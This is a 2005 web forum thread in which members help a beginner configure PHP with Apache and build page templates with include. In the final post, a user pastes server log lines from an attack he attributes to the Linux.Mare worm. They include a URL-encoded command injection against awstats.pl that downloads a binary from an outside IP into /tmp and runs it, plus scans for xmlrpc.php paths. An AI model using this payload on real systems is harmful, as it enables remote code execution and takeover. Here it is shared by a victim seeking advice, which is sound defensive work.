Chefelf.com Night Life: PHP issues - Chefelf.com Night Life

Jump to content

Page 1 of 1

PHP issues

#1 User is offline   Ninja Duck Icon

  • Cheer up, emo duck.
  • PipPipPipPipPip
  • Group: Moderators
  • Posts: 1,912
  • Joined: 30-October 03
  • Gender:Male
  • Location:Thrillsville
  • Country:United States

Posted 17 September 2005 - 03:34 PM

For a painfully long time, I've wanted to redo the painfully bad layout of Tuahan.com, but I figured I should learn PHP first so I can make the whole website PHP-based and not have to make minor edits in HTML like poor old Chris Livingston must have. This has been bugging me for so long that I might have created a topic about it here and forgotten about it already.

I've had Apache 2 and PHP installed on my computer for what feels like several months now, so I could make sure everything works before uploading it to the remote server. Now that the happy little red feather in is my system icon tray (because I'm using Window, you see), and it's saying that it's "Running all Apache services", I don't know what to do. Try as I might, I can't get php files on this computer to work in a browser.

What's it take? Is there a certain directory I have to use? I feel like a senile old man finding out about this stuff 50 years too late to actually learn it.
0

#2 User is offline   kdogg Icon

  • Mini Boss
  • PipPip
  • Group: Junior Members
  • Posts: 131
  • Joined: 09-December 04
  • Country:Nothing Selected

Posted 19 September 2005 - 09:21 AM

If you haven't configured php with apache yet, you'll need to add the following text to the httpd.conf file (C:\Program Files\Apache Group\Apache2\conf\httpd.conf assuming default installation location):

LoadModule php5_module "c:/php/php5apache2.dll" (assuming default installation location)
AddType application/x-httpd-php .php

Restart the apache service, create/copy a php file in(to) the following directory (I would create a file with the following code: "<?php phpinfo() ?>"):
C:\Program Files\Apache Group\Apache2\htdocs

and view it by going to
http://localhost/foo.php (replace "foo.php" with whatever file you're testing with).
0

#3 User is offline   Ninja Duck Icon

  • Cheer up, emo duck.
  • PipPipPipPipPip
  • Group: Moderators
  • Posts: 1,912
  • Joined: 30-October 03
  • Gender:Male
  • Location:Thrillsville
  • Country:United States

Posted 19 September 2005 - 06:27 PM

Perfection! Thanks so much kdogg. You're a lifesaver. biggrin.gif
0

#4 User is offline   Ninja Duck Icon

  • Cheer up, emo duck.
  • PipPipPipPipPip
  • Group: Moderators
  • Posts: 1,912
  • Joined: 30-October 03
  • Gender:Male
  • Location:Thrillsville
  • Country:United States

Posted 20 September 2005 - 08:09 PM

Whoops! Looks like the LoadModule line prevented Apache from starting up. I just took that part out and replaced it with stuff from PHP's install.txt, so now it works fine.

So... um... It IS possible to streamline page layouts so every page doesn't have to be formatted seperately and discrepancies don't pop up, right? I can't find any information about that, so I'm trying to improvise one.

I'm trying to make it so every page consists of a CSS file, a header file that has the opening tags and the sidebar, a footer file file that has closing tags, and maybe some content.

Here's a file I wrote trying to use only the header file and the content:

CODE
<html>
<?php

$head = fopen("header.txt", "w");
echo($head);
echo("This is the main text.");

?>
</html>


Where header.txt just says "<body bgcolor=red>".

In a browser, this file returns "Resource id #2This is the main text." with a decisively non-red background.

Any ideas on why this isn't working? Or suggestions on a normal method?
0

#5 User is offline   kdogg Icon

  • Mini Boss
  • PipPip
  • Group: Junior Members
  • Posts: 131
  • Joined: 09-December 04
  • Country:Nothing Selected

Posted 21 September 2005 - 09:58 AM

You might be better off putting the background color in a css file, but in terms of modularizing, you could do something like this:

CODE
<?
echo <<<EOT
<html><head><title>foo</title></head>
EOT;

include("header.txt");

echo <<<EOT
This is the main text.
</body></html>
EOT;
?>

0

#6 User is offline   Ninja Duck Icon

  • Cheer up, emo duck.
  • PipPipPipPipPip
  • Group: Moderators
  • Posts: 1,912
  • Joined: 30-October 03
  • Gender:Male
  • Location:Thrillsville
  • Country:United States

Posted 21 September 2005 - 04:24 PM

That works brilliantly. I think all of my problems have just been solved. Thanks a million, kdogg.
0

#7 User is offline   Deepsycher Icon

  • Giantness of Heart
  • PipPipPipPipPipPipPipPipPipPip
  • Group: Former Members
  • Posts: 6,220
  • Joined: 22-December 05
  • Country:Nothing Selected

Posted 30 December 2005 - 11:31 AM

Hi there, someone thinks I am running a PHP server.
The problem is that I do not run a PHP server just yet.

I am getting these requests from random IP addresses:

205.134.227.222, -, 12/30/2005, 14:32:03, W3SVC798479415, ***, 192.168.0.**, 520, 252, 1807, 404, 3, GET, /awstats/awstats.pl, configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|,
205.134.227.222, -, 12/30/2005, 14:32:03, W3SVC798479415, ***, 192.168.0.**, 230, 252, 1807, 404, 3, GET, /cgi-bin/awstats.pl, configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|,
205.134.227.222, -, 12/30/2005, 14:32:05, W3SVC798479415, ***, 192.168.0.**, 210, 260, 1807, 404, 3, GET, /cgi-bin/awstats/awstats.pl, configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|,
205.134.227.222, -, 12/30/2005, 14:32:07, W3SVC798479415, *** 192.168.0.**, 200, 412, 1807, 404, 2, POST, /xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:08, W3SVC798479415, ***, 192.168.0.**, 280, 417, 1807, 404, 3, POST, /blog/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:09, W3SVC798479415, ***, 192.168.0.**, 170, 424, 1807, 404, 3, POST, /blog/xmlsrv/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:10, W3SVC798479415, ***, 192.168.0.**, 210, 425, 1807, 404, 3, POST, /blogs/xmlsrv/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:11, W3SVC798479415, ***, 192.168.0.**, 240, 419, 1807, 404, 3, POST, /drupal/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:12, W3SVC798479415, ***, 192.168.0.**, 180, 425, 1807, 404, 3, POST, /phpgroupware/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:14, W3SVC798479415, ***, 192.168.0.**, 200, 422, 1807, 404, 3, POST, /wordpress/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:15, W3SVC798479415, ***, 192.168.0.**, 180, 412, 1807, 404, 2, POST, /xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:16, W3SVC798479415, ***, 192.168.0.**, 180, 419, 1807, 404, 3, POST, /xmlrpc/xmlrpc.php, -,
205.134.227.222, -, 12/30/2005, 14:32:17, W3SVC798479415, ***, 192.168.0.**, 170, 419, 1807, 404, 3, POST, /xmlsrv/xmlrpc.php, -,



This activity has been identified as the Linux.Mare worm, but the requests are incoming, not outgoing, as to ensure everything is tight.

Has anybody experienced these requests?

This post has been edited by Deepsycher: 30 December 2005 - 11:32 AM

0

Page 1 of 1


Fast Reply

  • Decrease editor size
  • Increase editor size